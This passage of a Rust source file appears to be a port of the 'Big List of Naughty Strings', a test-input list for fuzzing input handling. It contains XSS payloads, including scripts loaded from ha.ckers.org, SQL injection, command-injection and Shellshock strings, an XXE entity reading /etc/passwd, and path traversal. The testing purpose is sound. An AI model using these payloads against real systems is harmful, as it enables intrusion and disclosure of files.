    "ABC<div style=\"x:\\x00expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x8Bexpression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x86expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x85expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x82expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\x0Bexpression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x81expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x83expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x89expression(javascript:alert(1)\">DEF",
    "<a href=\"\\x0Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x0Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xC2\\xA0javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x05javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE1\\xA0\\x8Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x18javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x11javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x88javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x89javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x17javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x03javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x0Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x1Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x00javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x10javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x82javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x20javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x13javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x09javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x8Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x14javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x19javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\xAFjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x1Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x81javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x1Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x87javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x07javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE1\\x9A\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x83javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x04javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x01javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x08javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x84javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x86javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE3\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x12javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x0Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x0Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x0Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x15javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\xA8javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x16javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x02javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x1Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x06javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\xA9javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x80\\x85javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x1Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\xE2\\x81\\x9Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"\\x1Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"javascript\\x00:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"javascript\\x3A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"javascript\\x09:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"javascript\\x0D:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "<a href=\"javascript\\x0A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
    "`\"\'><img src=xxx:x \\x0Aonerror=javascript:alert(1)>",
    "`\"\'><img src=xxx:x \\x22onerror=javascript:alert(1)>",
    "`\"\'><img src=xxx:x \\x0Bonerror=javascript:alert(1)>",
    "`\"\'><img src=xxx:x \\x0Donerror=javascript:alert(1)>",
    "`\"\'><img src=xxx:x \\x2Fonerror=javascript:alert(1)>",
    "`\"\'><img src=xxx:x \\x09onerror=javascript:alert(1)>",
    "`\"\'><img src=xxx:x \\x0Conerror=javascript:alert(1)>",
    "`\"\'><img src=xxx:x \\x00onerror=javascript:alert(1)>",
    "`\"\'><img src=xxx:x \\x27onerror=javascript:alert(1)>",
    "`\"\'><img src=xxx:x \\x20onerror=javascript:alert(1)>",
    "\"`\'><script>\\x3Bjavascript:alert(1)</script>",
    "\"`\'><script>\\x0Djavascript:alert(1)</script>",
    "\"`\'><script>\\xEF\\xBB\\xBFjavascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x81javascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x84javascript:alert(1)</script>",
    "\"`\'><script>\\xE3\\x80\\x80javascript:alert(1)</script>",
    "\"`\'><script>\\x09javascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x89javascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x85javascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x88javascript:alert(1)</script>",
    "\"`\'><script>\\x00javascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\xA8javascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x8Ajavascript:alert(1)</script>",
    "\"`\'><script>\\xE1\\x9A\\x80javascript:alert(1)</script>",
    "\"`\'><script>\\x0Cjavascript:alert(1)</script>",
    "\"`\'><script>\\x2Bjavascript:alert(1)</script>",
    "\"`\'><script>\\xF0\\x90\\x96\\x9Ajavascript:alert(1)</script>",
    "\"`\'><script>-javascript:alert(1)</script>",
    "\"`\'><script>\\x0Ajavascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\xAFjavascript:alert(1)</script>",
    "\"`\'><script>\\x7Ejavascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x87javascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x81\\x9Fjavascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\xA9javascript:alert(1)</script>",
    "\"`\'><script>\\xC2\\x85javascript:alert(1)</script>",
    "\"`\'><script>\\xEF\\xBF\\xAEjavascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x83javascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x8Bjavascript:alert(1)</script>",
    "\"`\'><script>\\xEF\\xBF\\xBEjavascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x80javascript:alert(1)</script>",
    "\"`\'><script>\\x21javascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x82javascript:alert(1)</script>",
    "\"`\'><script>\\xE2\\x80\\x86javascript:alert(1)</script>",
    "\"`\'><script>\\xE1\\xA0\\x8Ejavascript:alert(1)</script>",
    "\"`\'><script>\\x0Bjavascript:alert(1)</script>",
    "\"`\'><script>\\x20javascript:alert(1)</script>",
    "\"`\'><script>\\xC2\\xA0javascript:alert(1)</script>",
    "<img \\x00src=x onerror=\"alert(1)\">",
    "<img \\x47src=x onerror=\"javascript:alert(1)\">",
    "<img \\x11src=x onerror=\"javascript:alert(1)\">",
    "<img \\x12src=x onerror=\"javascript:alert(1)\">",
    "<img\\x47src=x onerror=\"javascript:alert(1)\">",
    "<img\\x10src=x onerror=\"javascript:alert(1)\">",
    "<img\\x13src=x onerror=\"javascript:alert(1)\">",
    "<img\\x32src=x onerror=\"javascript:alert(1)\">",
    "<img\\x47src=x onerror=\"javascript:alert(1)\">",
    "<img\\x11src=x onerror=\"javascript:alert(1)\">",
    "<img \\x47src=x onerror=\"javascript:alert(1)\">",
    "<img \\x34src=x onerror=\"javascript:alert(1)\">",
    "<img \\x39src=x onerror=\"javascript:alert(1)\">",
    "<img \\x00src=x onerror=\"javascript:alert(1)\">",
    "<img src\\x09=x onerror=\"javascript:alert(1)\">",
    "<img src\\x10=x onerror=\"javascript:alert(1)\">",
    "<img src\\x13=x onerror=\"javascript:alert(1)\">",
    "<img src\\x32=x onerror=\"javascript:alert(1)\">",
    "<img src\\x12=x onerror=\"javascript:alert(1)\">",
    "<img src\\x11=x onerror=\"javascript:alert(1)\">",
    "<img src\\x00=x onerror=\"javascript:alert(1)\">",
    "<img src\\x47=x onerror=\"javascript:alert(1)\">",
    "<img src=x\\x09onerror=\"javascript:alert(1)\">",
    "<img src=x\\x10onerror=\"javascript:alert(1)\">",
    "<img src=x\\x11onerror=\"javascript:alert(1)\">",
    "<img src=x\\x12onerror=\"javascript:alert(1)\">",
    "<img src=x\\x13onerror=\"javascript:alert(1)\">",
    "<img[a][b][c]src[d]=x[e]onerror=[f]\"alert(1)\">",
    "<img src=x onerror=\\x09\"javascript:alert(1)\">",
    "<img src=x onerror=\\x10\"javascript:alert(1)\">",
    "<img src=x onerror=\\x11\"javascript:alert(1)\">",
    "<img src=x onerror=\\x12\"javascript:alert(1)\">",
    "<img src=x onerror=\\x32\"javascript:alert(1)\">",
    "<img src=x onerror=\\x00\"javascript:alert(1)\">",
    "<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>",
    "<img src=\"x` `<script>javascript:alert(1)</script>\"` `>",
    "<img src onerror /\" \'\"= alt=javascript:alert(1)//\">",
    "<title onpropertychange=javascript:alert(1)></title><title title=>",
    "<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=x:x onerror=javascript:alert(1)></a>\">",
    "<!--[if]><script>javascript:alert(1)</script -->",
    "<!--[if<img src=x onerror=javascript:alert(1)//]> -->",
    "<script src=\"/\\%(jscript)s\"></script>",
    "<script src=\"\\\\%(jscript)s\"></script>",
    "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">",
    "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
    "<IMG SRC=# onmouseover=\"alert(\'xxs\')\">",
    "<IMG SRC= onmouseover=\"alert(\'xxs\')\">",
    "<IMG onmouseover=\"alert(\'xxs\')\">",
    "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>",
    "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
    "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>",
    "<IMG SRC=\"jav   ascript:alert(\'XSS\');\">",
    "<IMG SRC=\"jav&#x09;ascript:alert(\'XSS\');\">",
    "<IMG SRC=\"jav&#x0A;ascript:alert(\'XSS\');\">",
    "<IMG SRC=\"jav&#x0D;ascript:alert(\'XSS\');\">",
    "perl -e \'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";\' > out",
    "<IMG SRC=\" &#14;  javascript:alert(\'XSS\');\">",
    "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
    "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>",
    "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
    "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>",
    "<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >",
    "<SCRIPT SRC=//ha.ckers.org/.j>",
    "<IMG SRC=\"javascript:alert(\'XSS\')\"",
    "<iframe src=http://ha.ckers.org/scriptlet.html <",
    "\\\";alert(\'XSS\');//",
    "<u oncopy=alert()> Copy me</u>",
    "<i onwheel=alert(1)> Scroll over me </i>",
    "<plaintext>",
    "http://a/%%30%30",
    "1;DROP TABLE users",
    "1\'; DROP TABLE users-- 1",
    "\' OR 1=1 -- 1",
    "\' OR \'1\'=\'1",
    " ",
    "%",
    "_",
    "-",
    "--",
    "--version",
    "--help",
    "$USER",
    "/dev/null; touch /tmp/blns.fail ; echo",
    "`touch /tmp/blns.fail`",
    "$(touch /tmp/blns.fail)",
    "@{[system \"touch /tmp/blns.fail\"]}",
    "eval(\"puts \'hello world\'\")",
    "System(\"ls -al /\")",
    "`ls -al /`",
    "Kernel.exec(\"ls -al /\")",
    "Kernel.exit(1)",
    "%x(\'ls -al /\')",
    "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]><foo>&xxe;</foo>",
    "$HOME",
    "$ENV{\'HOME\'}",
    "%d",
    "%s",
    "{0}",
    "%*.*s",
    "../../../../../../../../../../../etc/passwd%00",
    "../../../../../../../../../../../etc/hosts",
    "() { 0; }; touch /tmp/blns.shellshock1.fail;",
    "() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }",
    "CON",
    "PRN",
    "AUX",
    "CLOCK$",
    "NUL",
    "A:",
    "ZZ:",
    "COM1",
    "LPT1",
    "LPT2",
    "LPT3",
    "COM2",
    "COM3",
    "COM4",
    "Scunthorpe General Hospital",
    "Penistone Community Church",
    "Lightwater Country Park",
    "Jimmy Clitheroe",
    "Horniman Museum",
    "shitake mushrooms",
    "RomansInSussex.co.uk",
    "http://www.cum.qc.ca/",
    "Craig Cockburn, Software Specialist",
    "Linda Callahan",
    "Dr. Herman I. Libshitz",
    "magna cum laude",
    "Super Bowl XXX",
    "medieval erection of parapets",
    "evaluate",
    "mocha",
    "expression",
    "Arsenal canal",
    "classic",
    "Tyson Gay",
    "basement",
    "If you\'re reading this, you\'ve been in a coma for almost 20 years now. We\'re trying a new technique. We don\'t know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.",
    "Roses are \u{1b}[0;31mred\u{1b}[0m, violets are \u{1b}[0;34mblue. Hope you enjoy terminal hue",
    "But now...\u{1b}[20Cfor my greatest trick...\u{1b}[8m",
    "The quic\u{8}\u{8}\u{8}\u{8}\u{8}\u{8}k brown fo\u{7}\u{7}\u{7}\u{7}\u{7}\u{7}\u{7}\u{7}\u{7}\u{7}\u{7}x... [Beeeep]",
    "Power\u{644}\u{64f}\u{644}\u{64f}\u{635}\u{651}\u{628}\u{64f}\u{644}\u{64f}\u{644}\u{635}\u{651}\u{628}\u{64f}\u{631}\u{631}\u{64b} \u{963} \u{963}h \u{963} \u{963}\u{5197}",
];

/// Big list of naughty strings.
pub const BLNS: &'static [&'static str] = BLNS_IMPL;